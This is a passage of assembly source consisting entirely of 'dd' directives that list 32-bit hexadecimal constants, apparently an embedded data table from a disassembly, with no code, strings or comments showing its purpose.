		dd 0A240196Ch, 0AA23B41Eh, 193BD204h, 0AA96798Ch, 0A04AE85Dh
		dd 0AEBF353Fh, 0BD3AF490h, 8D32D70Dh, 0EF339B6Fh, 0D9CA5E45h
		dd 2750BBE3h, 51DD1394h, 0C2B9E011h, 7AB31E8h, 0D8FFF004h
		dd 0AA341F06h, 10F9A922h, 0E632A54Bh, 0C133734Bh, 72BCC92h
		dd 0AAD9C2D3h, 13F21775h, 9DCB0B5h, 0CEC679EFh,	6737E9D9h
		dd 6889094Dh, 0FFC7105h, 0A29F7112h, 0AB591F77h, 0AB6CC921h
		dd 47FB6E49h, 581B7064h, 0A8DA4479h, 1FFFE9BDh,	84333950h
		dd 0EC327E5Fh, 0B852A2B9h, 90DEB3BDh, 0AE36EC65h, 0BCFB6CBDh
		dd 0C733778Fh, 0AE9EDEB9h, 0AA25C006h, 3F01147Ch, 0AA23D2E1h
		dd 0A2F6DB17h, 4859881Ah, 91D08459h, 831B317Ch,	0A9178619h
		dd 0DE3ADD31h, 0C20D800h, 0A2B9D12Bh, 0AA9BD2EBh, 0A63B8BEBh
		dd 0C7EADEBDh, 0B6B960ADh, 6592897Fh, 4B398EE0h, 94911610h
		dd 4690294Ch, 74FA48E7h, 0E32440Ch, 3A26449Dh, 6E9764Ch
		dd 202A3C6Fh, 0F7E3955Dh, 0AAD5BDB5h, 6E3B7E64h, 0E2EF356h
		dd 1E393A39h, 1436D762h, 0A77A26C7h, 6D61A478h,	0AAE3903Eh
		dd 6ED5DB1Bh, 2C86AD4Dh, 6FE6C0CCh, 9A9CEBE7h, 2EFE852Dh
		dd 0A2FA295Eh, 993AD75Bh, 10F7586h, 0D76FAB59h,	243A83AAh
		dd 0A20F854Dh, 0BBDA96D2h, 0DA5900FCh, 0AADD6C0Fh, 47133B03h
		dd 6AB3D5ADh, 0B4DFDE9h, 0FFC792E8h, 29A1CED6h,	0AAA9DDD1h
		dd 4DD71D56h, 244642B5h, 7E3D2963h, 0B67BD216h,	0E732EB01h
		dd 0E0D2409Bh, 0ED53B41Fh, 38E13103h, 0EB7C318Fh, 2DD670C9h
		dd 2F351CF9h, 0CBDE9745h, 43E42AB2h, 7336CFF0h,	3996C5BBh
		dd 5A10E06Fh, 1C7BD21Dh, 0E416CF01h, 0E9AED4B5h, 2716CECEh
		dd 0A2BD4B7Eh, 67D25B03h, 5E2B3079h, 0F82A192Eh, 37E4DDB5h
		dd 4E2A8F1Dh, 0FDDF31F9h, 9CACF6Ch, 0E9CF735Eh,	0E3D0E92Dh
		dd 8C7EC5CAh, 7CAC0E01h, 2ADDDC4Ch, 26CBD2BDh, 0A2DBD242h
		dd 5ECF13h, 9FB44000h, 0E2F85779h, 0FD9C2913h, 87337F37h
		dd 39B545Bh, 0EA6AD0B5h, 0B964C9B4h, 5D4F012h, 0EBA8E363h
		dd 62D1339h, 0B3931EAAh, 1483E81Fh, 2736BBA7h, 0ABACF1CFh
		dd 73D95000h, 0B42A8E75h, 6B912AD9h, 72F665DBh,	8A97DD5Eh
		dd 4738A4B5h, 7557B503h, 0ABEC0F57h, 0AA26A9C6h, 0AA8D5AC4h
		dd 25C84189h, 96D5315Fh, 462BF972h, 41E00387h, 3FCFD0E1h
		dd 0CB0F3572h, 28B95DB4h, 0D890F358h, 0DCF5315Ch, 2DC3CD39h
		dd 12DF1A02h, 0AF48714Dh, 0EEF9A035h, 6C0CA3FFh, 0EAFC6F5h
		dd 5D7F6A25h, 7BF6E1D4h, 446D0467h, 0D7FC0659h,	0D1FD982Ah
		dd 0FCCDDD4Dh, 0EB32C88Dh, 82329C80h, 0FD93D37h, 0F6DC0DBDh
		dd 58150009h, 0A5A3E01Dh, 0BD50C213h, 0A23858Ch, 0FC9E682Ah
		dd 0AC71E0F7h, 6450FE09h, 883DEA64h, 3ECB5B44h,	3280BC6Dh
		dd 0AC0E21F2h, 52E1FFE8h, 3D6FD862h, 0F94BD961h, 0BC53D91Fh
		dd 882C262h, 56A09CB5h,	8CB53118h, 0D3D3BB3Ah, 72AB2945h
		dd 25F22923h, 0E30F3150h, 272873B4h, 880B818Fh,	2CE8C23h
		dd 0CC26FA56h, 0AEEFD3B5h, 0B92A72EDh, 0ACD11DF9h, 959D1DBDh
		dd 0E3F27C73h, 0E8DEE5BDh, 0AEE3E4BBh, 4697C27Eh, 0DFC730C0h
		dd 75BD125Eh, 0AAE51F4Dh, 0A2DAEDD1h, 0A2A25841h, 179332E8h
		dd 265827B4h, 0F9E3645h, 4CE31C55h, 0F1B73FFEh,	0AB6B3DE9h
		dd 5A17E463h, 85EE1C59h, 5C93000h, 0BE3B390Eh, 0A79C292Ch
		dd 46333ACh, 0F21BD301h, 59E039CCh, 532975Fh, 0B23F5B04h
		dd 177A9419h, 0A2AD6CCDh, 408E2940h, 76FFF79Dh,	303A39D0h
		dd 42876357h, 5EDA3565h, 0D036B5E6h, 239000Eh, 8E6B484Dh
		dd 882F39D1h, 383D0DB5h, 0FCB7CAD6h, 0EB36A92Bh, 0A2BE4945h
		dd 25A5DBC6h, 569AE351h, 3A8662Dh, 0D869355Ah, 13D9B7D4h
		dd 2D4F357Ch, 0A52CE8BDh, 6AA5D8BDh, 0C4D52912h, 0F2E86B05h
		dd 433346A9h, 30EE838Bh, 0BF3AC9F6h, 0CF6C7FE3h, 2B6EBE16h
		dd 0A6110E31h, 433AB374h, 369D3100h, 0AEA47521h, 0AFA692C0h
		dd 0BEDFD14Ch, 3CE8903h, 0CF0C54B2h, 6ADF6820h,	1EE9A20Dh
		dd 0FD3AFB2Dh, 8DA2943h, 14CB724Ah, 16088681h, 8BD136A1h
		dd 7D99C971h, 8FCFD14Ch, 7F3A46B5h, 9F2C3B3h, 6625E9B9h
		dd 0A636CEA0h, 13F9C27Eh, 902B9F0Dh, 35692E6h, 490A8C4Ch
		dd 0AC78B601h, 90FA8218h, 0F11835C4h, 35A838EEh, 0A65A6DC9h
		dd 13032889h, 0AADB99D2h, 471CB20Fh, 9FB1C1B5h,	0D68FADE0h
		dd 0C32B9B1h, 0A9F5DD5Ah, 0A20ECBB9h, 13C8CD23h, 1ED4CC55h
		dd 0A21129C8h, 0AB77B9C1h, 4E3678F3h, 687797B5h, 570DC583h
		dd 0ABDBCA4Bh, 5AC0948Dh, 6EE2191Ch, 0A3EF91BDh, 24023FBDh
		dd 0A2D1BD1Bh, 0C98BB48Eh, 2FEFB74Dh, 0D21F9BDh, 6E3329DBh
		dd 0BA234C87h, 0A661E340h, 5E614245h, 0AAFE2EB1h, 0CC4569C5h
		dd 91564B4h, 0A22E2EB7h, 76FCD46Dh, 5C33BAF2h, 64C43189h
		dd 0C00A781Bh, 0C2F424Dh, 777FBBDh, 0E1CE31CFh,	0BEDCECE7h
		dd 816A3C49h, 0E2EF2960h, 6C2987B4h, 0C8A1302Fh, 34DAE494h
		dd 0DF2A9BB5h, 0A2D9AC7Bh, 0A2AC4869h, 0CFD5C148h, 41397D39h
		dd 1C9AF503h, 432930B9h, 0EED4B6D6h, 28F573B9h,	0F1365D02h
		dd 613A9AB4h, 741BE9C9h, 0A230A721h, 0AEDD4131h, 35F9D5EBh
		dd 0E7BE6DD5h, 0AADAECC3h, 0F50601F4h, 0E5759CB4h, 413669FDh
		dd 5CD4AB34h, 42B0C3B9h, 0ABF7B811h, 0AB68D42Dh, 0A2A0A807h
		dd 0D637FCh, 12B778Ch, 0D2B32951h, 0A6F08D15h, 8A005D98h
		dd 0FBC8440Ch, 0D8F52970h, 0A3D312BDh, 0B6D56EBBh, 7AFBAC0h
		dd 4020AEB5h, 0C3AAA539h, 0A2E4D776h, 8B07F556h, 141D311Ch
		dd 14E686CCh, 0C6110144h, 0A696F0DBh, 0F83FBF32h, 7EA9353Fh
		dd 0CA933944h, 82DCC558h, 40DDBFB5h, 944310Dh, 0EE030A4h
		dd 16D6ED58h, 0C34C018Bh, 2DFD29AAh, 0C7C329C3h, 0B6284C7Bh
		dd 7DC622E1h, 581E35DAh, 0EE33858h, 0AB1B057Ch,	7B0F2EB1h
		dd 64479F06h, 0D3660BB9h, 0CCDD39CFh, 1332CA05h, 1339DA1h
		dd 3F5CAA35h, 72CE31F3h, 0A20187DDh, 932C241h, 0E782D89Bh
		dd 9C9DCDB5h, 0CB76DDBDh, 0AF13D3Bh, 0EE614F40h, 5607504Ch
		dd 5F367146h, 0CD810BDEh, 94E93572h, 0F4A5291Ch, 0AEBC41CDh
		dd 1137C971h, 145B35C2h
		dd 93813D33h, 0A04BF1D9h, 2D3ACA75h, 0B3ADF18Ch, 5F869E03h
		dd 0A2E686B9h, 0CCE59C23h, 7D39023Bh, 0AC747E2Bh, 0BCBECB3Bh
		dd 43F044BDh, 0BD8E8D51h, 7ED93F35h, 439254F9h,	0EF19292Eh
		dd 0AE2385D1h, 66F0CB00h, 13EAB01Ah, 0DE3508BCh, 6EDD6885h
		dd 4833F4E5h, 0AB9639FEh, 72FBD894h, 933E160h, 13E6EABDh
		dd 5BE231D1h, 2A54C82Bh, 80CA2A19h, 5326AF1h, 7ED58615h
		dd 0EAE953B4h, 0EBCA6351h, 0F005036Ah, 0C7869C4Dh, 0E7B9626Ch
		dd 0B3DCFAC2h, 0EF0331Eh, 4BA9DEB9h, 6CD0E569h,	0F498D955h
		dd 0E5FB295Ch, 0A6BB2D15h, 39C33861h, 49E106B4h, 0AB912549h
		dd 1E0F6403h, 0A200F7ECh, 0FD77A80Bh, 0ABD7F229h, 0C14B569h
		dd 93110345h, 1E827187h, 12AE76BDh, 67D4398Ch, 0A21C80BDh
		dd 9FD5C4D1h, 4F77D218h, 0E7E331C0h, 4107315Bh,	0A63E4653h
		dd 0FD046813h, 9668DD9Bh, 0A62221D1h, 62F492D6h, 33E4394Ch
		dd 0FE2A9210h, 0A2254C1Eh, 0B94D3298h, 44D9CDB5h, 86EBD4Dh
		dd 0B933CBB5h, 36B7C765h, 815CC984h, 0EADE519Dh, 4FF6D556h
		dd 0D746C35Ch, 0BA7CDD06h, 4CF6C9B9h, 6698D43Fh, 72FE0ECAh
		dd 7EE33E67h, 1533B84h,	5DF51144h, 16D00DBDh, 5536F0E6h
		dd 9C04181Fh, 650D1385h, 6AED0552h, 0BA3D306Fh,	5322EC78h
		dd 6EF7136Dh, 6A391DB4h, 0F8E7D201h, 0FFF604C2h, 3BA51426h
		dd 1EBBE54Fh, 532374A2h, 4415296Ch, 93E8FDC3h, 0A3DD1DB7h
		dd 68EF7524h, 6AF1BB3Eh, 5BE83751h, 6F853117h, 0E21312BDh
		dd 0A3122979h, 83FB7A55h, 85421361h, 9F3D2313h,	9C45589Dh
		dd 17A100Ah, 1A34AEECh,	5E723712h, 0B2F55883h, 0A6179053h
		dd 4D43214Ah, 5A41CDE5h, 2644D955h, 0A3CAF9Ah, 0B2349449h
		dd 0A43B4BBDh, 1744B451h, 0E00935F6h, 0F3822F5h, 12FAE7FBh
		dd 7922E0C6h, 0B6EBE88Bh, 0BF77170h, 0A61D610Eh, 0A4CBA1B5h
		dd 21E96C7h, 4DAD2346h,	37D1224Fh, 0B1154802h, 3E3D5C6Ah
		dd 90BE11E2h, 9A5A7A11h, 9D0B7E9Dh, 724B2F93h, 9472339Dh
		dd 0A97B9F2Ah, 0CDA1445h, 52F9C7DAh, 822ACB6Dh,	9BCE124Eh
		dd 0DE5D622Dh, 0AB352B3Eh, 1E3428BEh, 0DDC28F98h, 6AE7FA0Dh
		dd 6F590922h, 96B82EC6h, 6A02E938h, 0CA98528Eh,	7199E2BEh
		dd 431F073h, 9A43B25Dh,	99F1FDB9h, 6F7EA28Fh, 0DD82AC4Bh
		dd 0DB57A601h, 0D7A6267Ch, 695095DAh, 0D139EDAEh, 187A3312h
		dd 66394Bh, 0FE4EFAA7h,	6D41CF76h, 36C69CB1h, 12420802h
		dd 0A2832ACEh, 6F0251F2h, 6D085500h, 25E10F4Dh,	4D13D5A2h
		dd 5E2E0050h, 7DE9201Dh, 0F804283Eh, 0EA06A063h, 5377F9A4h
		dd 0A40F8851h, 0B92F14CBh, 5863965h, 5A9F5630h,	0C60B4B99h
		dd 5A2D7165h, 0AA63AA99h, 0A60C40CFh, 6D3DE010h, 47121777h
		dd 0CF00F473h, 0EEA9A825h, 1B0F214Eh, 3802AE9Ah, 1AF13D45h
		dd 1C052AACh, 2ED6D012h, 4E82A6BBh, 1E354252h, 1B412CCCh
		dd 0AB031784h, 0F9420D1Dh, 9B81215Ch, 0C1C96A37h, 0DAEB02CFh
		dd 64EB319Ah, 0CC3120Ch, 4EC521A4h, 9560B9BBh, 4274A700h
		dd 0F9AA9E15h, 2F2362E5h, 8007CD1Ch, 832750B3h,	0F3B41D20h
		dd 7B021634h, 4A88C9Bh,	0E26356ADh, 0C18B4FBAh,	286D5103h
		dd 0E925DDDBh, 0C0EA69F7h, 9E51CA4Ch, 59D861CEh, 0E09AB098h
		dd 3736C74Bh, 0AAD2DA89h, 6E3318FEh, 348747A0h,	5AACAE0Bh
		dd 99F28B0Dh, 51C066A8h, 0E7840520h, 0C28C07CAh, 7AE14FB3h
		dd 31E43B17h, 8DC6E8AFh, 0FFD3614Ah, 9B28BF89h,	1756A31h
		dd 2681CCF7h, 40A752F3h, 0D97BA895h, 4DAAE7A2h,	0B8DA15CAh
		dd 0B6A4C75Bh, 0C41E61CCh, 3867310Ch, 0E8BB53B9h, 0F3D609FBh
		dd 0CAE2346Fh, 0B4DE347Fh, 0AD662F10h, 4E008B18h, 1F3266A2h
		dd 0C3E0DA4Eh, 0A0B28086h, 796A07C0h, 0E6AA9C7Bh, 24673D25h
		dd 0F67876FCh, 7891CFA3h, 8F488C85h, 8E1D2417h,	98C6096Bh
		dd 0C77DD09Dh, 86120550h, 1BFC6905h, 0DDF82341h, 11C813E5h
		dd 7CD3F8A5h, 0F94A5A1Eh, 0E45620A9h, 0F3485F9Ah, 0C18D6EA8h
		dd 0F4AA329Bh, 884D3547h, 0B874331Dh, 0FC66428Dh, 0A70D5C95h
		dd 92D17CFEh, 964D8EA8h, 0FAAA4597h, 0B7585753h, 95986FDAh
		dd 31558EF4h, 2350D569h, 8A115A41h, 0C64F49AEh,	92C6D99Bh
		dd 7F48CEADh, 7270869Ch, 0E1FD5A25h, 0E1D5D46h,	6DD437Eh
		dd 308B636h, 29302458h,	8DA04E5h, 12482B8Eh, 4C45DAF8h
		dd 0ADF215A2h, 89311501h, 7DC131FAh, 835C9B04h,	0C5CDECFAh
		dd 5317DE6Bh, 0ACADE74Fh, 0A3D1F5F6h, 0FEB47B02h, 99F9E14Eh
		dd 0F38F7949h, 40C21D56h, 60D31E66h, 93A5F110h,	0A5F06753h
		dd 0BE8E6835h, 998232E1h, 200A16Bh, 0D952CDC1h,	750AF48Ch
		dd 0C379EA66h, 8CD1B7CDh, 5180221Ch, 48CE9E5Bh,	97FC037h
		dd 0C5AB0C6Bh, 8088E131h, 5122FD1Ah, 42873186h,	0AA7EBB5Dh
		dd 0B6B4155Ch, 0A6EFF592h, 39ACB4Ch, 5205568Fh,	49C0640Ah
		dd 8CBE4711h, 7FB81909h, 3D28A401h, 0ED9EF908h,	85406D63h
		dd 3BD11DC8h, 0EAE6BE04h, 721B4B76h, 6CCF8B10h,	0A75EE2Ch
		dd 0C871F010h, 4317FD42h, 0BD5E1714h, 9A7464E5h, 80A0651Eh
		dd 0F6AFE026h, 304D4A02h, 8ED4849h, 6324185Fh, 30EFF140h
		dd 0C706B60Eh, 565D3D71h, 232D7E9Ah, 7605FCFAh,	19FDFF58h
		dd 45E7FDEh, 93A93FAEh,	24F814A8h, 740D0A81h, 49601D8h
		dd 4557C1D3h, 0E0A116DCh, 0D55052Ah, 91ECEE9Ah,	65C25B2Fh
		dd 473DB306h, 80D8A623h, 72158D0Dh, 356CF266h, 0B84B9E2Dh
		dd 0C7F56CD3h, 0D89C6AC9h, 0D62B68B8h, 16DE8A7Ah, 0FCDB04F8h
		dd 0C92E5405h, 606993EBh, 3C9534D4h, 0BD6799C5h, 0F6D7919Ch
		dd 0FD9896A1h, 72054DFDh, 8D039663h, 43EEB6C2h,	0CCF1E678h
		dd 5EA16760h, 3413B1D4h, 69D1C46Dh, 7A13C7Ch, 0A23700E7h
		dd 70AE1552h, 0CD454A06h, 770EE3A8h, 48AEE80Ch,	0C6C6577Dh
		dd 8DEEBC37h, 0DC9C058Bh, 47E0DC52h, 48FB39D1h,	274517DAh
		dd 0FB060C1Ch, 0FAC967h, 0C82C3FCFh, 76B30668h,	0C67B3F1Fh
		dd 5FF5255Bh, 27DCD68Fh, 8FFB4E1h, 5E422D46h, 0C61B171Eh
		dd 84F85715h, 1CED851Dh, 6407BF0Fh, 6D76D7D7h, 44F8582Dh
		dd 4BDEAC28h, 0B92D1D03h, 0B4E84C58h, 9756197Dh, 745FF246h
		dd 0F1021E82h, 4F3208DAh, 0A031FFE6h, 5D209494h, 7FC8785Dh
		dd 0CA640A7h, 942431EFh, 37DED579h, 9FD359Dh, 0F00A399h
		dd 0AD09F82Bh, 341A9B45h, 0F842B844h, 8DD5EE34h, 0C9ACE916h
		dd 3520E36Ch, 99468C1h,	0C65E51AEh, 0D5FB22D2h,	0C89C2351h
		dd 5CD7B733h, 39148300h, 0D80E5775h, 5CEDABC1h,	6CB265D4h
		dd 0A6052363h, 9B3419ADh, 0BA3E290Fh, 0A5C52495h, 438027B9h
		dd 0B2FDA407h, 7C8C6930h, 68301EE0h, 0CC2AC0BEh, 68420162h
		dd 69EDFD60h, 0FA61EA73h, 81FD7777h, 4BC3F464h,	4AA71157h
		dd 0CEF4C779h, 0C539F3BFh, 2394AE00h, 0CBD850BCh, 0B6AC810h
		dd 48100722h, 6B12C054h, 7210E978h, 0CE704255h,	0F8145752h
		dd 0BAEEF44Fh, 0D9127453h, 22BAF34Fh, 553DCD12h, 0A644354Dh
		dd 0A4F031A1h, 0A16EB54Bh, 5A369525h, 5AAAED24h, 0C2FCEA6Bh
		dd 0D7558A60h, 61C358B8h, 64035DBCh, 3E4CE1A3h,	61D02349h
		dd 19C4FAA3h, 61B96163h, 65F8E87Dh, 69F48FC5h, 6CF3F6A5h
		dd 70EFFD72h, 73ED210Eh, 7DE0C00Bh, 42CC01h, 4DBC91Eh
		dd 0CFD7D51Ah, 96D3D921h, 10CE2135h, 14CBD92Eh,	0D044BE55h
		dd 0CB140A83h, 2BFF27Dh, 9C56A01Fh, 835CA8DEh, 51443198h
		dd 0AC3A361Dh, 91B6C28Fh
		dd 6006A84Ch, 0AEA30EBDh, 23EDCA4h, 0E419711Ah,	0AFF14390h
		dd 520560B9h, 4AB2BEABh, 0B67D74ABh, 0AB7D7A54h, 9E45B8A9h
		dd 7081A8F5h, 7D5DDF3Ah, 0AAC298FEh, 4BE48D92h,	9CF26152h
		dd 993F2F72h, 38B8350Fh, 407E7DFDh, 0FB5C412Eh,	0BE5D1D05h
		dd 835A4B14h, 16EAB5A5h, 9F06E222h, 42D2A011h, 4C1C317Ch
		dd 72553702h, 0BE43802Fh, 6A2E6D22h, 0E981A5C9h, 4D54CDF3h
		dd 0E020A81Fh, 2C1D9979h, 944064D5h, 0CA501786h, 8500379Ah
		dd 0AAC4E287h, 734AB601h, 7A1C6204h, 250016E6h,	247C0446h
		dd 92C05ABEh, 9BCA6E24h, 544B8AC5h, 9EC5DD4Ch, 93582847h
		dd 74A45BC7h, 0D93F6428h, 90C6A573h, 64C93027h,	97016CB9h
		dd 6AA3D4A4h, 0D051CB9h, 8EACE49h, 0AE29B747h, 9EFF374Ah
		dd 0BED659CBh, 19FF255Dh, 9FF11269h, 655B4B39h,	0BAE8514Dh
		dd 0FD244A95h, 4F65E86Dh, 4C572B29h, 9635BCA6h,	0F6281D9h
		dd 1A7561BEh, 867C23B8h, 0BEC91A91h, 0D663DC3Ch, 86DCE17Dh
		dd 0ACF9C2B9h, 7C843149h, 29BB4971h, 0DCE3C288h, 995EAFBDh
		dd 428121F9h, 486A5371h, 22E749A9h, 1633C4D1h, 69A25669h
		dd 4821C663h, 0C6AB6122h, 5A8D8F21h, 6EBA63FBh,	0F413B41h
		dd 7511ED82h, 59FD0EF9h, 4CE6A84Ch, 7EE8BDE2h, 1F1504D3h
		dd 1535D93Ch, 0A2DAA3E9h, 79B42A9Ch, 163E1D83h,	56DD2925h
		dd 903C1006h, 0A859FF05h, 5E745633h, 98AA5113h,	7137223Bh
		dd 895A4EA6h, 9A6223DFh, 0D33CE26Dh, 9F43855Ah,	0B3A52379h
		dd 3B3B6955h, 5D0C2234h, 85C12EA2h, 0A20DB6BFh,	21D7C23Ah
		dd 10E71640h, 96D8A084h, 0E34473DCh, 0B578E788h, 0E9C3D5Fh
		dd 4DCC8F15h, 41C4E4A0h, 47AC3DC1h, 0AC34F79Eh,	5D18480Bh
		dd 0AB7DEBB5h, 80B714AFh, 0B508CA12h, 0ADABFF0h, 9D3839A0h
		dd 2BFD31B5h, 0EA28A7BCh, 0A6EF2D4Fh, 3A410C0Ah, 0DAFCC819h
		dd 9A3FEF5Dh, 24BAC5A1h, 0AC7A059Ah, 95A8641h, 62350BA4h
		dd 1EE02305h, 6A232CFDh, 0FFC3492Fh, 62BC58BCh,	0A0FB11A1h
		dd 4C429DFBh, 0E747F941h, 6342CD60h, 0C967D1D5h, 0A4AF1511h
		dd 0A7E4C1F3h, 0B3D24F49h, 0FDC6F124h, 66401DE1h, 2353BF25h
		dd 0B174F45Bh, 9AD88CB4h, 0CD496D4h, 446F3591h,	5CF31CA0h
		dd 8A361D05h, 0A288F1D8h, 2A4EE9DDh, 5B62C151h,	69FFF5A1h
		dd 447B2D0Eh, 534A61C3h, 0E1728DA2h, 42F00855h,	0AA423D4Dh
		dd 9E7912F1h, 5E1EACFDh, 696D3EBCh, 0A13B6899h,	0DED29514h
		dd 46AF915Dh, 3BAA0801h, 0E8BBC45h, 0AA8C8AD3h,	0C17A8C7Eh
		dd 0BD258DACh, 17984DD8h, 7ABAD2A1h, 2A3B690Dh,	0C2937EDEh
		dd 43DD1E2Dh, 6B5E7EA4h, 228CF665h, 0A612645h, 2B8445A9h
		dd 0B3FAA805h, 8822CCA1h, 3E40FCBCh, 0C1931FBh,	0B3CD294Dh
		dd 62913572h, 0F2D28149h, 9AB1D3CDh, 0C3337376h, 0CCED6768h
		dd 221300FAh, 1B5EF99Ch, 9B014936h, 0AE003922h,	34E50321h
		dd 624AB2A1h, 0E0969E5h, 1BC24D32h, 1A403EE0h, 655A3AB7h
		dd 2553E1CCh, 1FC8D675h, 3F61230Fh, 2B124969h, 0B2D4BC05h
		dd 0A8687EBBh, 0CFBF4841h, 9D36D0B9h, 0FD7A29CFh, 891D1F0Dh
		dd 2D14A179h, 0ADDAF87Dh, 3EBDA2B7h, 1C39AA22h,	0BAF0E4A3h
		dd 9FE675BDh, 0A03A8AE3h, 63360D62h, 4D161F54h,	0DB0F6764h
		dd 9C2A826Fh, 7F4D192Ah, 7D19D66Dh, 4C22CC2Dh, 222D14CDh
		dd 0D836F65Bh, 261A4114h, 9AEA39E9h, 69710291h,	0A29AE323h
		dd 9E1050B9h, 0E637C961h, 0A2C52485h, 2B78C16Dh, 1C71DDA4h
		dd 89023FFFh, 0A29A32C8h, 9EFB6E05h, 5DEB475h, 0BA08E955h
		dd 70D39E60h, 158193DEh, 3FE9B2E4h, 96078E72h, 2F4D8CADh
		dd 0FDF186EFh, 473CA9D8h, 888AFD1Dh, 3D2AFB5h, 6CA4CC5Eh
		dd 0CCF5E9EDh, 5694F7FEh, 0A3A5D49Dh, 0F87F7C96h, 2FEE77C0h
		dd 7EE10829h, 4A6B8BB2h, 0C5140032h, 0C25B0F9h,	6C43050Ah
		dd 5FEEEE76h, 77D6A661h, 9D729A1Bh, 72FF8014h, 6649E2FCh
		dd 48B18DF3h, 7984E082h, 816D5302h, 9F739C42h, 0BEA17D5Ah
		dd 85366F72h, 301CD081h, 0C061FD33h, 0EBB10558h, 25733F5Fh
		dd 6D1CBBCEh, 422074CDh, 0A8295DCCh, 3238473h, 2DF928B8h
		dd 36A9C61h, 5717EC11h,	0BF92C72Ah, 17047019h, 0AE20C96Ah
		dd 1716FF52h, 63EE3AF1h, 6A8A3C61h, 0D53DFD0Eh,	4D42D09Eh
		dd 0CA5BA2FCh, 0F5E578Ch, 765102A5h, 0D531D224h, 5702247h
		dd 0FD464A22h, 52CEEE9Dh, 81F00DA5h, 18FEBC59h,	393F040Dh
		dd 2114366Bh, 0DDD59665h, 0FB05E546h, 4F06A591h, 230D2ECAh
		dd 78C1FE3Ah, 75076155h, 19BC042Ah, 0EEDB2197h,	0EC31D0DAh
		dd 84F28EA5h, 50A5E79Dh, 4ABA2EDFh, 0DAD95E64h,	8ADCF92Dh
		dd 10B6BDA5h, 61725CEBh, 0D9AC2255h, 0AAC58E77h, 72C8FEA5h
		dd 2DAFAA5Bh, 815371Fh,	78C26EF6h, 2B701D8Ah, 71DE85A5h
		dd 24891577h, 538E21E0h, 7362DF88h, 3ACEC8F2h, 46F842B6h
		dd 596E20EBh, 4B84A1CFh, 0A60CBFA5h, 369526Bh, 0EBCE54A5h
		dd 0A4CCCA30h, 0CDF70702h, 67D62021h, 0EC5D1825h, 0FE4A7035h
		dd 0EDDAF102h, 74838FB6h, 1265173Ah, 0F4781115h, 5581DD6Ch
		dd 9B63575Fh, 979007A4h, 0A0625522h, 7836816Ch,	0BDEE030Eh
		dd 655418B9h, 0CB7A93Fh, 0F28322EAh, 0E2FEE4DBh, 0D3CD39B9h
		dd 0B892A6B7h, 9B4810BEh, 0B90D436Bh, 0E08C582h, 49EA21CEh
		dd 0FA33B9B2h, 5FFDE734h, 514B2625h, 0AA834A01h, 0B2899C46h
		dd 307F95A4h, 2602FBF7h, 0A0C3E885h, 0D3F54B6Ah, 20CD291Ah
		dd 0D674E2A5h, 0B729C3FEh, 0D3B2686Ch, 9A1A06A0h, 49FA113Dh
		dd 14D4A69Ch, 6F63997Dh, 0A41031F5h, 6382CB9Dh,	99E2B9DEh
		dd 0DAFEA096h, 0AE92F849h, 0B3410B5Eh, 0C3CDF995h, 0E01B7526h
		dd 435BCD4Ch, 0A23E906Dh, 0AF0D3BD6h, 0CCAAF10Dh, 45FD2FE8h
		dd 2E13F7BDh, 682AD172h, 46CE1D71h, 9C151351h, 5916067Dh
		dd 0C4714AE5h, 0AF72DD3Ah, 4CF56EA5h, 0ED2CD17Ah, 123321A5h
		dd 885EE0Bh, 6EBAF884h,	0D5D0C384h, 0AE965CDCh,	0BEE00FE0h
		dd 693549F9h, 9D49ED45h, 7ABD9F4Dh, 0E38C3D5Bh,	596A21F3h
		dd 0BF0E5652h, 4B66E246h, 7B15C560h, 7D5D2026h,	9BFDFC20h
		dd 0C41B00B1h, 0C9E12275h, 9D1A27A4h, 9943CC0Eh, 182231h
		dd 9E7827A4h, 9943CFB0h, 2402B80h, 205027A4h, 9BC5C9A2h
		dd 441E3ACh, 3C4920E6h,	9BE5CBA2h, 641F1A7h, 5BD220C0h
		dd 0A13C4AE1h, 6A2736B8h, 22F33818h, 0E2B59162h, 4ABDA601h
		dd 52AE9251h, 1ABC01FBh, 0D98A1E2Dh, 9247559Eh,	9DF0C1E3h
		dd 0F23D9123h, 0DBBC3535h, 9C5A76F7h, 87017731h, 8C1CAF85h
		dd 7E2704E6h, 0EA502108h, 0E3B89C4Dh, 0DB13A47h, 0C9E9B464h
		dd 5AB2E5E8h, 5E622199h, 31391DF0h, 6C721E0h, 0A94E5CFAh
		dd 7D3424C1h, 0DB5D2A9Fh, 69A8E282h, 0EFBD23B9h, 0F6E5E91h
		dd 21826EC5h, 203A3FBEh, 5123B28Eh, 0C94939B6h,	0CFF904D4h
		dd 9D36C4C5h, 71C2B4CEh, 15B333E5h, 58BB5269h, 34F52174h
		dd 110EE884h, 0CDA62120h, 0CB2AD928h, 5724B7DFh, 0B8420911h
		dd 3671153Bh, 2673E5F4h, 2F2C282h, 0DB9D5507h, 0FAE7CFAFh
		dd 0D212848Ah, 9901847h, 9B1C538Fh, 0ED656D6h, 0FAA5D774h
		dd 0A6A27DDCh, 9320B158h, 376C35F7h, 64BD0B38h,	0CBE53FA2h
		dd 7C752F46h, 0AF843885h, 0B6C2A282h, 0DA06E09Bh, 0B752B08Eh
		dd 0F71437D2h, 0E61B3D6Ah, 41E0D2A5h, 350C8B68h, 5F2EF3A5h
		dd 7D16EEC2h, 8F2DE713h, 12DBC8A3h, 26C284E8h, 0F017B732h
		dd 0AFBAB9B9h, 8A1B293Fh
		dd 0B13A1B6Eh, 0CC69303Fh, 0AFFAB1F1h, 23570949h, 1DB4E3A2h
		dd 4A862AA1h, 5363BB7Dh, 0F222DA72h, 5F827CCAh,	0F743D45Ch
		dd 78019906h, 1A66D1F6h, 0DA46C86Dh, 448ED3B0h,	0B69B44ADh
		dd 13CDC0B2h, 53A431D9h, 6A05DF89h, 1EF43086h, 842BFE89h
		dd 385D396Fh, 0AF744A8Fh, 7C9942Ch, 820969Bh, 0BD36AEF0h
		dd 18716426h, 0EB529E8Eh, 6014382Eh, 9754F1BFh,	0B7104EA8h
		dd 6B6EA637h, 0E249114Fh, 0D4A5614h, 93194255h,	4E0AC0D1h
		dd 5E4D1C53h, 966BC04h,	0E300C49Ch, 857F828h, 0A418C62h
		dd 26241805h, 0F7945C7Bh, 3EED4FEEh, 6E36EFDCh,	0AC96D145h
		dd 0BAA06030h, 0ABAEAAA8h, 0BCD40776h, 126336CAh, 363A35D8h
		dd 0A69BF773h, 7F3110C6h, 6199DA49h, 54BCED9Bh,	70A43CCAh
		dd 0B89A69C2h, 81EEBF6Fh, 1C1707Eh, 6A4C11F9h, 7AF17F8Ch
		dd 5BF4E863h, 0F1EBF35Eh, 0C70722B3h, 6C26953Fh, 6758FD60h
